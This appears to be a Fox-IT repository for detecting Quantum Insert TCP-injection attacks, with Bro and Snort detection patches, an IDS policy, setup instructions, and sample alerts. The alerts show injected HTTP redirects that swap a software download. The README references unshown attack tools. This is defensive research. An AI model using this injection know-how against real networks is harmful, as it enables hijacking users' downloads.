├── LICENSE ├── README.md ├── detection ├── bro │ ├── README.md │ ├── old │ │ ├── README.md │ │ └── qi.bro │ ├── rexmit_inconsistency-bro-2.3.2.patch │ └── rexmit_inconsistency-bro-2.4.1.patch ├── snort │ ├── README.md │ ├── stream_quantuminsert-snort-2.9.6.2.patch │ └── stream_quantuminsert-snort-2.9.7.2.patch └── suricata │ └── README.md ├── pcaps ├── README.md ├── qi_internet_SYNACK_curl_jsonip.pcap ├── qi_local_GET_slashdot_redirect.pcap ├── qi_local_SYNACK_curl_jsonip.pcap ├── qi_local_SYNACK_imgur_qdp.pcap ├── qi_local_SYNACK_linkedin_redirect.pcap ├── qi_local_SYNACK_putty_dl.pcap └── qi_local_SYNACK_slashdot_redirect.pcap ├── poc ├── README.md ├── monitor.py └── shooter.py └── presentations └── brocon2015 ├── BroCon2015_Fox-IT_QuantumInsert_Detection.pdf ├── demo ├── README.md ├── index.html ├── inject.js ├── monitor.py └── shooter.py └── pcaps ├── README.md ├── bro.org-harlemshake-inject.pcap └── id1.cn-inject.pcap /LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | QUANTUM INSERT 2 | ============== 3 | 4 | Additional resources related to our blog post **Deep-dive into Quantum Insert**: 5 | 6 | http://blog.fox-it.com/2015/04/20/deep-dive-into-quantum-insert/ 7 | 8 | 9 | PCAPS 10 | ----- 11 | PCAP data for research and testing purposes can be found here: 12 | 13 | [https://github.com/fox-it/quantuminsert/tree/master/pcaps](https://github.com/fox-it/quantuminsert/tree/master/pcaps) 14 | 15 | Detection 16 | --------- 17 | We made proof of concept detection capabilities for Bro and Snort to detect `QUANTUMINSERT`. Suricata was already capable to detect these kind of attacks. 18 | 19 | For more information: 20 | 21 | [https://github.com/fox-it/quantuminsert/tree/master/detection](https://github.com/fox-it/quantuminsert/tree/master/detection) 22 | 23 | Tools 24 | ----- 25 | The tools that we used to simulate and perform `QUANTUMINSERT` can be found here: 26 | 27 | [https://github.com/fox-it/quantuminsert/tree/master/poc](https://github.com/fox-it/quantuminsert/tree/master/poc) 28 | 29 | The modified scripts that were used to perform the Harlem Shake QI demo at BroCon2015: 30 | 31 | [https://github.com/fox-it/quantuminsert/tree/master/presentations/brocon2015/demo](https://github.com/fox-it/quantuminsert/tree/master/presentations/brocon2015/demo) 32 | 33 | Presentations 34 | ------------- 35 | Talks we did on Quantum Insert. 36 | 37 | [BroCon2015](https://github.com/fox-it/quantuminsert/tree/master/presentations/brocon2015) 38 | -------------------------------------------------------------------------------- /detection/bro/README.md: -------------------------------------------------------------------------------- 1 | Quantum Insert detection for Bro-IDS 2 | =================================== 3 | 4 | Fox-IT made a proof of concept policy for Bro-IDS to detect `QUANTUMINSERT` attacks. This policy using the `tcp_packet` event has now been deprecated in favour for a patch that improves the `rexmit_inconsistency` event. 5 | 6 | The README and the old policy utilizing the `tcp_packet` event can still be found [here](./old). 7 | 8 | Patches are available for following stable Bro versions: 9 | 10 | * `bro-2.4.1`: [rexmit_inconsistency-bro-2.4.1.patch](./rexmit_inconsistency-bro-2.4.1.patch) 11 | * `bro-2.3.2`: [rexmit_inconsistency-bro-2.3.2.patch](./rexmit_inconsistency-bro-2.3.2.patch) 12 | 13 | ~~We hope it will be patched upstream as well.~~ 14 | 15 | The patch has been merged in https://github.com/bro/bro/commit/c1f060be63ad72d37b37e5649887d4c047c116e1 on 28 June 2015. 16 | 17 | Patch for `rexmit_inconsistency` 18 | -------------------------------- 19 | 20 | This patch fixes the `rexmit_inconsistency` event for Quantum Insert attacks. See also the Bro ticket ([BIT-1314](https://bro-tracker.atlassian.net/browse/BIT-1314)) regarding detection of `QUANTUM INSERT`. 21 | 22 | The patch improves the TCP_Reassembler class so that it can keep a history of old TCP segments. How many segments it will track can be configured using the 23 | `tcp_max_old_segments` option. A value of zero will disable it. We recommend setting it to a low number, such as 10: 24 | 25 | ```bro 26 | const tcp_max_old_segments = 10 &redef; 27 | ``` 28 | 29 | This will mean that every TCP session will keep a maximum of 10 extra TCP segments in memory which is still reasonable. 30 | 31 | An overlapping segment with different data can indicate a possible TCP injection attack. 32 | 33 | ### Applying the patch 34 | 35 | Unpack the Bro 2.3.2 source: 36 | 37 | ```shell 38 | tar -zxvf bro-2.3.2.tar.gz 39 | ``` 40 | 41 | Apply the patch 42 | 43 | ```shell 44 | git apply < rexmit_inconsistency-bro-2.3.2.patch 45 | ``` 46 | 47 | Configure and make as normal. 48 | 49 | ### Testing the patch 50 | 51 | You can use the following example policy for testing: 52 | 53 | ```bro 54 | const tcp_max_old_segments = 10 &redef; 55 | event rexmit_inconsistency(c: connection, t1: string, t2: string) 56 | { 57 | print(fmt("POSSIBLE QUANTUM INSERT: %s: %s <> %s\n", c$id, t1, t2)); 58 | } 59 | ``` 60 | 61 | Save it as `test-qi-patch.bro` and test it against one of our QI pcaps: 62 | 63 | ```shell 64 | bro --no-checksums -r qi_internet_SYNACK_curl_jsonip.pcap test-qi-patch.bro 65 | ``` 66 | 67 | You should see the following on stdout: 68 | 69 | POSSIBLE QUANTUM INSERT: [orig_h=178.200.100.200, orig_p=39976/tcp, resp_h=96.126.98.124, resp_p=80/tcp]: HTTP/1.1 200 OK^M^JContent-Length: 5^M^J^M^JBANG! <> HTTP/1.1 200 OK^M^JServer: nginx/1.4.4^M^JDate:^J 70 | 71 | 72 | ### Remarks 73 | The default `weirds.bro` already logs the `rexmit_inconsistency` event as `Conn::Retransmission_Inconsistency`. 74 | Just ensure that you define the `tcp_max_old_segments` variable in your Bro config, e.g. in `init-bare.bro`. 75 | 76 | 77 | References 78 | ---------- 79 | 80 | * https://bro-tracker.atlassian.net/browse/BIT-1314 81 | * http://mailman.icsi.berkeley.edu/pipermail/bro/2014-July/007141.html 82 | * https://github.com/bro/bro/commit/c1f060be63ad72d37b37e5649887d4c047c116e1 83 | -------------------------------------------------------------------------------- /detection/bro/old/README.md: -------------------------------------------------------------------------------- 1 | Quantum Insert detection for Bro-IDS 2 | =================================== 3 | 4 | Fox-IT made a proof of concept policy for Bro-IDS to detect `QUANTUMINSERT` attacks. 5 | 6 | The Bro policy is released into the public domain. 7 | 8 | Install 9 | ------- 10 | 11 | Add the `qi.bro` policy to your `local.bro` file, eg: 12 | 13 | @load qi.bro 14 | 15 | Testing 16 | ------- 17 | 18 | You can also run the policy directly on a pcap file: 19 | 20 | bro --no-checksums -r ../pcaps/qi_putty_dl.pcap qi.bro 21 | 22 | The policy will print hits to stdout and log to `notice.log`, example: 23 | 24 | POSSIBLE QI: sequence 1: 10.0.1.4:51358/tcp <- 46.43.34.31:80/tcp -- 25 | [HTTP/1.1 302 Found^M^JDate: Tue, 21 Apr 2015 00:41:55 GMT^M^JServer: Apache^M^JLocation: http://the.earth.li/~sgtatham/putty/0.64/x86/putty.exe^M^JContent-Length: 300^M^JKeep-Alive: timeout=15, max=100^M^JConnection: Keep-Alive^M^JContent-Type: text/html; charset=iso-8859-1^M^J^M^J^J^J302 Found^J^J

Found

^J

The document has moved here.

^J
^J
Apache Server at the.earth.li Port 80
^J^J] 26 | differs from 27 | [HTTP/1.1 302 Found^M^JLocation: http://www.7-zip.org/a/7z938.exe^M^JContent-Length: 0^M^J^M^J] 28 | 29 | Technical details of the policy 30 | ------------------------------- 31 | We initially thought we could trigger `weird.log` events using Bro on our pcaps containing a Quantum Insert like attack. 32 | Especially as Bro has an event called `rexmit_inconsistency`. However this event seems not capable of detecting Quantum Insert as it does not keep a history of TCP segments. 33 | 34 | Our Bro policy does not make use of this event, but rather tracks the first content carrying TCP packet. If another TCP packet claims to be the first content it will be compared. 35 | If they are different it will trigger an event. 36 | 37 | Currently the policy uses a less ineffecient `tcp_packet` event. 38 | It should be feasible to make improvements to internals of Bro, to (optionally) keep track of a sliding window of (ACKed and/or unACKed) TCP segments. 39 | This way the `rexmit_inconsistency` event could make use of it and fire the event based on the sliding window. 40 | 41 | 42 | References 43 | ---------- 44 | 45 | * https://bro-tracker.atlassian.net/browse/BIT-1314 46 | * http://mailman.icsi.berkeley.edu/pipermail/bro/2014-July/007141.html 47 | -------------------------------------------------------------------------------- /detection/bro/old/qi.bro: -------------------------------------------------------------------------------- 1 | ##! Detect Quantum Insert 2 | # 3 | # qi.bro 4 | # 5 | # Fox-IT Security Research Team 6 | # 7 | 8 | @load base/frameworks/notice 9 | 10 | module QuantumInsert; 11 | 12 | export { 13 | redef enum Notice::Type += { 14 | ## Indicates that a host performed a possible Quantum Insert 15 | PayloadDiffers, 16 | }; 17 | } 18 | 19 | export { 20 | redef record connection += { 21 | last_seq: count &optional; 22 | last_payload: string &optional; 23 | }; 24 | } 25 | 26 | event tcp_packet (c: connection, is_orig: bool, flags: string, seq: count, ack: count, len: count, payload: string) 27 | { 28 | # only process first server response and responses with data and only if the connection is established 29 | if (c$resp$state != TCP_ESTABLISHED || is_orig || len == 0) { 30 | return; 31 | } 32 | 33 | # check if we receive a packet with duplicate sequence numbers (only track the last seq) 34 | if (c?$last_payload && seq == c$last_seq) { 35 | local other_payload = payload; 36 | local last_payload = c$last_payload; 37 | local last_len = |last_payload|; 38 | 39 | # one side of the payload can be smaller, so only compare the smallest. 40 | if (last_len < len) { 41 | other_payload = sub_bytes(payload, 0, last_len); 42 | } else if (last_len > len) { 43 | last_payload = sub_bytes(last_payload, 0, len); 44 | } 45 | 46 | # if payload differs it's a possible QI 47 | if (last_payload != other_payload) { 48 | print(fmt("POSSIBLE QI: sequence %s: %s:%s <- %s:%s -- [%s] differs from [%s]", 49 | seq, c$id$orig_h, c$id$orig_p, c$id$resp_h, c$id$resp_p, 50 | payload, other_payload)); 51 | NOTICE([$note=QuantumInsert::PayloadDiffers, 52 | $msg=fmt("Possible QuantumInsert detected. Payload differs (%s, %s): [%s], [%s]", 53 | last_len, len, last_payload, other_payload), 54 | $conn=c, 55 | $identifier=c$uid 56 | ]); 57 | } 58 | } 59 | 60 | # keep track of payload and seq from server 61 | c$last_payload = payload; 62 | c$last_seq = seq; 63 | } 64 | -------------------------------------------------------------------------------- /detection/bro/rexmit_inconsistency-bro-2.3.2.patch: -------------------------------------------------------------------------------- 1 | diff --git a/src/NetVar.cc b/src/NetVar.cc 2 | index 0a11a75..84f79cb 100644 3 | --- a/src/NetVar.cc 4 | +++ b/src/NetVar.cc 5 | @@ -48,6 +48,7 @@ double tcp_partial_close_delay; 6 | int tcp_max_initial_window; 7 | int tcp_max_above_hole_without_any_acks; 8 | int tcp_excessive_data_without_further_acks; 9 | +int tcp_max_old_segments; 10 | 11 | RecordType* socks_address; 12 | 13 | @@ -354,6 +355,7 @@ void init_net_var() 14 | opt_internal_int("tcp_max_above_hole_without_any_acks"); 15 | tcp_excessive_data_without_further_acks = 16 | opt_internal_int("tcp_excessive_data_without_further_acks"); 17 | + tcp_max_old_segments = opt_internal_int("tcp_max_old_segments"); 18 | 19 | socks_address = internal_type("SOCKS::Address")->AsRecordType(); 20 | 21 | diff --git a/src/NetVar.h b/src/NetVar.h 22 | index c726c79..7404b84 100644 23 | --- a/src/NetVar.h 24 | +++ b/src/NetVar.h 25 | @@ -51,6 +51,7 @@ extern double tcp_reset_delay; 26 | extern int tcp_max_initial_window; 27 | extern int tcp_max_above_hole_without_any_acks; 28 | extern int tcp_excessive_data_without_further_acks; 29 | +extern int tcp_max_old_segments; 30 | 31 | extern RecordType* socks_address; 32 | 33 | diff --git a/src/Reassem.cc b/src/Reassem.cc 34 | index 27fb265..fc984f2 100644 35 | --- a/src/Reassem.cc 36 | +++ b/src/Reassem.cc 37 | @@ -34,12 +34,38 @@ uint64 Reassembler::total_size = 0; 38 | Reassembler::Reassembler(uint64 init_seq, ReassemblerType arg_type) 39 | { 40 | blocks = last_block = 0; 41 | + old_blocks = last_old_block = 0; 42 | + total_old_blocks = max_old_blocks = 0; 43 | trim_seq = last_reassem_seq = init_seq; 44 | } 45 | 46 | Reassembler::~Reassembler() 47 | { 48 | ClearBlocks(); 49 | + ClearOldBlocks(); 50 | + } 51 | + 52 | +void Reassembler::CheckOverlap(DataBlock *head, DataBlock *tail, 53 | + uint64 seq, uint64 len, const u_char* data) 54 | + { 55 | + if ( ! head || ! tail ) 56 | + return; 57 | + 58 | + if ( seq_between(seq, head->seq, tail->upper) ) 59 | + { 60 | + for ( DataBlock* b = head; b; b = b->next ) 61 | + { 62 | + if ( seq_between(seq, b->seq, b->upper) ) 63 | + { 64 | + uint64 overlap_start = seq; 65 | + uint64 overlap_offset = overlap_start - b->seq; 66 | + uint64 new_b_len = len; 67 | + uint64 b_len = b->upper - overlap_start; 68 | + uint64 overlap_len = min(new_b_len, b_len); 69 | + Overlap(&b->block[overlap_offset], data, overlap_len); 70 | + } 71 | + } 72 | + } 73 | } 74 | 75 | void Reassembler::NewBlock(double t, uint64 seq, uint64 len, const u_char* data) 76 | @@ -49,6 +75,9 @@ void Reassembler::NewBlock(double t, uint64 seq, uint64 len, const u_char* data) 77 | 78 | uint64 upper_seq = seq + len; 79 | 80 | + CheckOverlap( blocks, last_block, seq, len, data ); 81 | + CheckOverlap( old_blocks, last_old_block, seq, len, data ); 82 | + 83 | if ( upper_seq <= trim_seq ) 84 | // Old data, don't do any work for it. 85 | return; 86 | @@ -119,7 +148,35 @@ uint64 Reassembler::TrimToSeq(uint64 seq) 87 | num_missing += seq - blocks->upper; 88 | } 89 | 90 | - delete blocks; 91 | + if (max_old_blocks) 92 | + { 93 | + blocks->next = 0; 94 | + if (last_old_block) 95 | + { 96 | + blocks->prev = last_old_block; 97 | + last_old_block->next = blocks; 98 | + } 99 | + else 100 | + { 101 | + blocks->prev = 0; 102 | + old_blocks = blocks; 103 | + } 104 | + 105 | + last_old_block = blocks; 106 | + total_old_blocks++; 107 | + 108 | + while (old_blocks && total_old_blocks > max_old_blocks) 109 | + { 110 | + DataBlock* next = old_blocks->next; 111 | + delete old_blocks; 112 | + old_blocks = next; 113 | + total_old_blocks--; 114 | + } 115 | + } 116 | + else 117 | + { 118 | + delete blocks; 119 | + } 120 | 121 | blocks = b; 122 | } 123 | @@ -156,6 +213,18 @@ void Reassembler::ClearBlocks() 124 | last_block = 0; 125 | } 126 | 127 | +void Reassembler::ClearOldBlocks() 128 | + { 129 | + while ( old_blocks ) 130 | + { 131 | + DataBlock* b = old_blocks->next; 132 | + delete old_blocks; 133 | + old_blocks = b; 134 | + } 135 | + 136 | + last_old_block = 0; 137 | + } 138 | + 139 | uint64 Reassembler::TotalSize() const 140 | { 141 | uint64 size = 0; 142 | diff --git a/src/Reassem.h b/src/Reassem.h 143 | index 7b77a62..f079203 100644 144 | --- a/src/Reassem.h 145 | +++ b/src/Reassem.h 146 | @@ -37,6 +37,7 @@ public: 147 | 148 | // Delete all held blocks. 149 | void ClearBlocks(); 150 | + void ClearOldBlocks(); 151 | 152 | int HasBlocks() const { return blocks != 0; } 153 | uint64 LastReassemSeq() const { return last_reassem_seq; } 154 | @@ -51,6 +52,8 @@ public: 155 | // Sum over all data buffered in some reassembler. 156 | static uint64 TotalMemoryAllocation() { return total_size; } 157 | 158 | + void SetMaxOldBlocks(uint32 count) { max_old_blocks = count; } 159 | + 160 | protected: 161 | Reassembler() { } 162 | 163 | @@ -66,11 +69,21 @@ protected: 164 | DataBlock* AddAndCheck(DataBlock* b, uint64 seq, 165 | uint64 upper, const u_char* data); 166 | 167 | + void CheckOverlap(DataBlock *head, DataBlock *tail, 168 | + uint64 seq, uint64 len, const u_char* data); 169 | + 170 | DataBlock* blocks; 171 | DataBlock* last_block; 172 | + 173 | + DataBlock* old_blocks; 174 | + DataBlock* last_old_block; 175 | + 176 | uint64 last_reassem_seq; 177 | uint64 trim_seq; // how far we've trimmed 178 | 179 | + uint32 max_old_blocks; 180 | + uint32 total_old_blocks; 181 | + 182 | static uint64 total_size; 183 | }; 184 | 185 | diff --git a/src/analyzer/protocol/tcp/TCP_Reassembler.cc b/src/analyzer/protocol/tcp/TCP_Reassembler.cc 186 | index 053e8c8..af00526 100644 187 | --- a/src/analyzer/protocol/tcp/TCP_Reassembler.cc 188 | +++ b/src/analyzer/protocol/tcp/TCP_Reassembler.cc 189 | @@ -42,6 +42,9 @@ TCP_Reassembler::TCP_Reassembler(analyzer::Analyzer* arg_dst_analyzer, 190 | seq_to_skip = 0; 191 | in_delivery = false; 192 | 193 | + if ( tcp_max_old_segments ) 194 | + SetMaxOldBlocks(tcp_max_old_segments); 195 | + 196 | if ( tcp_contents ) 197 | { 198 | // Val dst_port_val(ntohs(Conn()->RespPort()), TYPE_PORT); 199 | -------------------------------------------------------------------------------- /detection/bro/rexmit_inconsistency-bro-2.4.1.patch: -------------------------------------------------------------------------------- 1 | diff --git a/scripts/base/init-bare.bro b/scripts/base/init-bare.bro 2 | index 4353c9c..b0115f5 100644 3 | --- a/scripts/base/init-bare.bro 4 | +++ b/scripts/base/init-bare.bro 5 | @@ -954,6 +954,11 @@ const tcp_max_above_hole_without_any_acks = 16384 &redef; 6 | ## .. bro:see:: tcp_max_initial_window tcp_max_above_hole_without_any_acks 7 | const tcp_excessive_data_without_further_acks = 10 * 1024 * 1024 &redef; 8 | 9 | +## Number of TCP segments to buffer beyond what's been acknowledged already 10 | +## to detect retransmission inconsistencies. Zero disables any additonal 11 | +## buffering. 12 | +const tcp_max_old_segments = 0 &redef; 13 | + 14 | ## For services without a handler, these sets define originator-side ports 15 | ## that still trigger reassembly. 16 | ## 17 | diff --git a/src/NetVar.cc b/src/NetVar.cc 18 | index 123e947..dc04900 100644 19 | --- a/src/NetVar.cc 20 | +++ b/src/NetVar.cc 21 | @@ -49,6 +49,7 @@ double tcp_partial_close_delay; 22 | int tcp_max_initial_window; 23 | int tcp_max_above_hole_without_any_acks; 24 | int tcp_excessive_data_without_further_acks; 25 | +int tcp_max_old_segments; 26 | 27 | RecordType* socks_address; 28 | 29 | @@ -354,6 +355,7 @@ void init_net_var() 30 | opt_internal_int("tcp_max_above_hole_without_any_acks"); 31 | tcp_excessive_data_without_further_acks = 32 | opt_internal_int("tcp_excessive_data_without_further_acks"); 33 | + tcp_max_old_segments = opt_internal_int("tcp_max_old_segments"); 34 | 35 | socks_address = internal_type("SOCKS::Address")->AsRecordType(); 36 | 37 | diff --git a/src/NetVar.h b/src/NetVar.h 38 | index bf2d9a5..efadaaa 100644 39 | --- a/src/NetVar.h 40 | +++ b/src/NetVar.h 41 | @@ -52,6 +52,7 @@ extern double tcp_reset_delay; 42 | extern int tcp_max_initial_window; 43 | extern int tcp_max_above_hole_without_any_acks; 44 | extern int tcp_excessive_data_without_further_acks; 45 | +extern int tcp_max_old_segments; 46 | 47 | extern RecordType* socks_address; 48 | 49 | diff --git a/src/Reassem.cc b/src/Reassem.cc 50 | index 8bf9654..2ab8c1f 100644 51 | --- a/src/Reassem.cc 52 | +++ b/src/Reassem.cc 53 | @@ -34,12 +34,51 @@ uint64 Reassembler::total_size = 0; 54 | Reassembler::Reassembler(uint64 init_seq) 55 | { 56 | blocks = last_block = 0; 57 | + old_blocks = last_old_block = 0; 58 | + total_old_blocks = max_old_blocks = 0; 59 | trim_seq = last_reassem_seq = init_seq; 60 | } 61 | 62 | Reassembler::~Reassembler() 63 | { 64 | ClearBlocks(); 65 | + ClearOldBlocks(); 66 | + } 67 | + 68 | +void Reassembler::CheckOverlap(DataBlock *head, DataBlock *tail, 69 | + uint64 seq, uint64 len, const u_char* data) 70 | + { 71 | + if ( ! head || ! tail ) 72 | + return; 73 | + 74 | + uint64 upper = (seq + len); 75 | + 76 | + for ( DataBlock* b = head; b; b = b->next ) 77 | + { 78 | + uint64 nseq = seq; 79 | + uint64 nupper = upper; 80 | + const u_char* ndata = data; 81 | + 82 | + if ( nupper <= b->seq ) 83 | + continue; 84 | + 85 | + if ( nseq >= b->upper ) 86 | + continue; 87 | + 88 | + if ( nseq < b->seq ) 89 | + { 90 | + ndata += (b->seq - seq); 91 | + nseq = b->seq; 92 | + } 93 | + 94 | + if ( nupper > b->upper ) 95 | + nupper = b->upper; 96 | + 97 | + uint64 overlap_offset = (nseq - b->seq); 98 | + uint64 overlap_len = (nupper - nseq); 99 | + if ( overlap_len ) 100 | + Overlap(&b->block[overlap_offset], ndata, overlap_len); 101 | + } 102 | } 103 | 104 | void Reassembler::NewBlock(double t, uint64 seq, uint64 len, const u_char* data) 105 | @@ -49,10 +88,14 @@ void Reassembler::NewBlock(double t, uint64 seq, uint64 len, const u_char* data) 106 | 107 | uint64 upper_seq = seq + len; 108 | 109 | + CheckOverlap(old_blocks, last_old_block, seq, len, data); 110 | + 111 | if ( upper_seq <= trim_seq ) 112 | // Old data, don't do any work for it. 113 | return; 114 | 115 | + CheckOverlap(blocks, last_block, seq, len, data); 116 | + 117 | if ( seq < trim_seq ) 118 | { // Partially old data, just keep the good stuff. 119 | uint64 amount_old = trim_seq - seq; 120 | @@ -119,7 +162,36 @@ uint64 Reassembler::TrimToSeq(uint64 seq) 121 | num_missing += seq - blocks->upper; 122 | } 123 | 124 | - delete blocks; 125 | + if ( max_old_blocks ) 126 | + { 127 | + // Move block over to old_blocks queue. 128 | + blocks->next = 0; 129 | + 130 | + if ( last_old_block ) 131 | + { 132 | + blocks->prev = last_old_block; 133 | + last_old_block->next = blocks; 134 | + } 135 | + else 136 | + { 137 | + blocks->prev = 0; 138 | + old_blocks = blocks; 139 | + } 140 | + 141 | + last_old_block = blocks; 142 | + total_old_blocks++; 143 | + 144 | + while ( old_blocks && total_old_blocks > max_old_blocks ) 145 | + { 146 | + DataBlock* next = old_blocks->next; 147 | + delete old_blocks; 148 | + old_blocks = next; 149 | + total_old_blocks--; 150 | + } 151 | + } 152 | + 153 | + else 154 | + delete blocks; 155 | 156 | blocks = b; 157 | } 158 | @@ -156,6 +228,18 @@ void Reassembler::ClearBlocks() 159 | last_block = 0; 160 | } 161 | 162 | +void Reassembler::ClearOldBlocks() 163 | + { 164 | + while ( old_blocks ) 165 | + { 166 | + DataBlock* b = old_blocks->next; 167 | + delete old_blocks; 168 | + old_blocks = b; 169 | + } 170 | + 171 | + last_old_block = 0; 172 | + } 173 | + 174 | uint64 Reassembler::TotalSize() const 175 | { 176 | uint64 size = 0; 177 | @@ -218,7 +302,7 @@ DataBlock* Reassembler::AddAndCheck(DataBlock* b, uint64 seq, uint64 upper, 178 | return new_b; 179 | } 180 | 181 | - // The blocks overlap, complain. 182 | + // The blocks overlap. 183 | if ( seq < b->seq ) 184 | { 185 | // The new block has a prefix that comes before b. 186 | @@ -239,8 +323,6 @@ DataBlock* Reassembler::AddAndCheck(DataBlock* b, uint64 seq, uint64 upper, 187 | uint64 b_len = b->upper - overlap_start; 188 | uint64 overlap_len = min(new_b_len, b_len); 189 | 190 | - Overlap(&b->block[overlap_offset], data, overlap_len); 191 | - 192 | if ( overlap_len < new_b_len ) 193 | { 194 | // Recurse to resolve remainder of the new data. 195 | diff --git a/src/Reassem.h b/src/Reassem.h 196 | index 39617f7..943cd15 100644 197 | --- a/src/Reassem.h 198 | +++ b/src/Reassem.h 199 | @@ -36,6 +36,7 @@ public: 200 | 201 | // Delete all held blocks. 202 | void ClearBlocks(); 203 | + void ClearOldBlocks(); 204 | 205 | int HasBlocks() const { return blocks != 0; } 206 | uint64 LastReassemSeq() const { return last_reassem_seq; } 207 | @@ -49,6 +50,7 @@ public: 208 | 209 | // Sum over all data buffered in some reassembler. 210 | static uint64 TotalMemoryAllocation() { return total_size; } 211 | + void SetMaxOldBlocks(uint32 count) { max_old_blocks = count; } 212 | 213 | protected: 214 | Reassembler() { } 215 | @@ -64,11 +66,19 @@ protected: 216 | 217 | DataBlock* AddAndCheck(DataBlock* b, uint64 seq, 218 | uint64 upper, const u_char* data); 219 | + void CheckOverlap(DataBlock *head, DataBlock *tail, 220 | + uint64 seq, uint64 len, const u_char* data); 221 | 222 | DataBlock* blocks; 223 | DataBlock* last_block; 224 | + 225 | + DataBlock* old_blocks; 226 | + DataBlock* last_old_block; 227 | + 228 | uint64 last_reassem_seq; 229 | uint64 trim_seq; // how far we've trimmed 230 | + uint32 max_old_blocks; 231 | + uint32 total_old_blocks; 232 | 233 | static uint64 total_size; 234 | }; 235 | diff --git a/src/analyzer/protocol/tcp/TCP_Reassembler.cc b/src/analyzer/protocol/tcp/TCP_Reassembler.cc 236 | index 16bb9cc..bbcd9cb 100644 237 | --- a/src/analyzer/protocol/tcp/TCP_Reassembler.cc 238 | +++ b/src/analyzer/protocol/tcp/TCP_Reassembler.cc 239 | @@ -42,6 +42,9 @@ TCP_Reassembler::TCP_Reassembler(analyzer::Analyzer* arg_dst_analyzer, 240 | seq_to_skip = 0; 241 | in_delivery = false; 242 | 243 | + if ( tcp_max_old_segments ) 244 | + SetMaxOldBlocks(tcp_max_old_segments); 245 | + 246 | if ( tcp_contents ) 247 | { 248 | // Val dst_port_val(ntohs(Conn()->RespPort()), TYPE_PORT); 249 | diff --git a/src/event.bif b/src/event.bif 250 | index 6531bef..dc6388f 100644 251 | --- a/src/event.bif 252 | +++ b/src/event.bif 253 | @@ -282,7 +282,8 @@ event packet_contents%(c: connection, contents: string%); 254 | ## reassembling a TCP stream, Bro buffers all payload until it sees the 255 | ## responder acking it. If during that time, the sender resends a chunk of 256 | ## payload but with different content than originally, this event will be 257 | -## raised. 258 | +## raised. In addition, if :bro:id:`tcp_max_old_segments` is larger than zero, 259 | +## mismatches with that older still-buffered data will likewise trigger the event. 260 | ## 261 | ## c: The connection showing the inconsistency. 262 | ## 263 | -------------------------------------------------------------------------------- /detection/snort/README.md: -------------------------------------------------------------------------------- 1 | Quantum Insert detection for Snort 2 | =================================== 3 | 4 | Fox-IT made a proof of concept patch for Snort that will add detection for Quantum Insert type of attacks to the Stream preprocessor. 5 | 6 | The patches are for Snort version 2.9.6.2 and 2.9.7.2 and are released into the public domain. 7 | 8 | 9 | Applying the patch 10 | ------------------ 11 | 12 | Unpack the Snort source, eg: 13 | 14 | $ tar -zxvf snort-2.9.7.2.tar.gz 15 | 16 | Apply the patch for the correct Snort version, eg: 17 | 18 | $ git apply < stream_quantuminsert-snort-2.9.7.2.patch 19 | 20 | Compiling & Install 21 | ------------------- 22 | 23 | The patches don't need extra work, 24 | you can just `./configure` and `make install` like normal. 25 | 26 | Snort Signature 27 | --------------- 28 | 29 | The following stub signature needs to be included in your Snort config or else the preprocessor will not be able to generate the alert: 30 | 31 | alert ( msg: "STREAM5_QUANTUM_INSERT"; sid: 21; gid: 129; rev: 1; metadata: rule-type preproc ; classtype:bad-unknown; ) 32 | 33 | make sure your gen-msg.map is also regenerated accordingly. 34 | 35 | Configuration 36 | ------------- 37 | 38 | The patch adds the following option to the `stream5_tcp` preprocessor: 39 | 40 | preprocessor stream5_tcp \ 41 | max_track_old_segs 42 | 43 | Where `max_track_old_segs` is a number between `0` and `2048`. 44 | Setting it to `0` will disable it. By default it is set to `10`. 45 | 46 | Alerts 47 | ------ 48 | 49 | When a possible Quantum Insert has been detected the following signature will trigger: 50 | 51 | 03/31-16:37:46.691315 [**] [129:21:1] Possible Quantum Insert [**] [Classification: Potentially Bad Traffic] [Priority: 3] {TCP} x.x.x.x:80 -> x.x.x.x:39976 52 | 53 | ### ExtraData in Unified2 logfiles 54 | 55 | The unified2 log files can contain `ExtraData` when the QI alert triggers. It can be dumped with the modified `u2spewfoo` tool. The `ExtraData` field will contain the other conflicting TCP segment payload that had the 56 | same sequence number. 57 | 58 | Example output: 59 | 60 | $ u2spewfoo 61 | 62 | (Event) 63 | sensor id: 0 event id: 1 event second: 1429576915 event microsecond: 853780 64 | sig id: 21001615 gen id: 129 revision: 1 classification: 5 65 | priority: 1 ip source: 46.43.34.31 ip destination: 10.0.1.4 66 | src port: 80 dest port: 51358 protocol: 6 impact_flag: 0 blocked: 0 67 | 68 | (ExtraDataHdr) 69 | event type: 4 event length: 117 70 | 71 | (ExtraData) 72 | sensor id: 0 event id: 1 event second: 1429576915 73 | type: 14 datatype: 1 bloblength: 93 Generic Data: 74 | [ 0] 48 54 54 50 2F 31 2E 31 20 33 30 32 20 46 6F 75 HTTP/1.1 302 Fou 75 | [ 16] 6E 64 0D 0A 4C 6F 63 61 74 69 6F 6E 3A 20 68 74 nd..Location: ht 76 | [ 32] 74 70 3A 2F 2F 77 77 77 2E 37 2D 7A 69 70 2E 6F tp://www.7-zip.o 77 | [ 48] 72 67 2F 61 2F 37 7A 39 33 38 2E 65 78 65 0D 0A rg/a/7z938.exe.. 78 | [ 64] 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 Content-Length: 79 | [ 80] 30 0D 0A 0D 0A 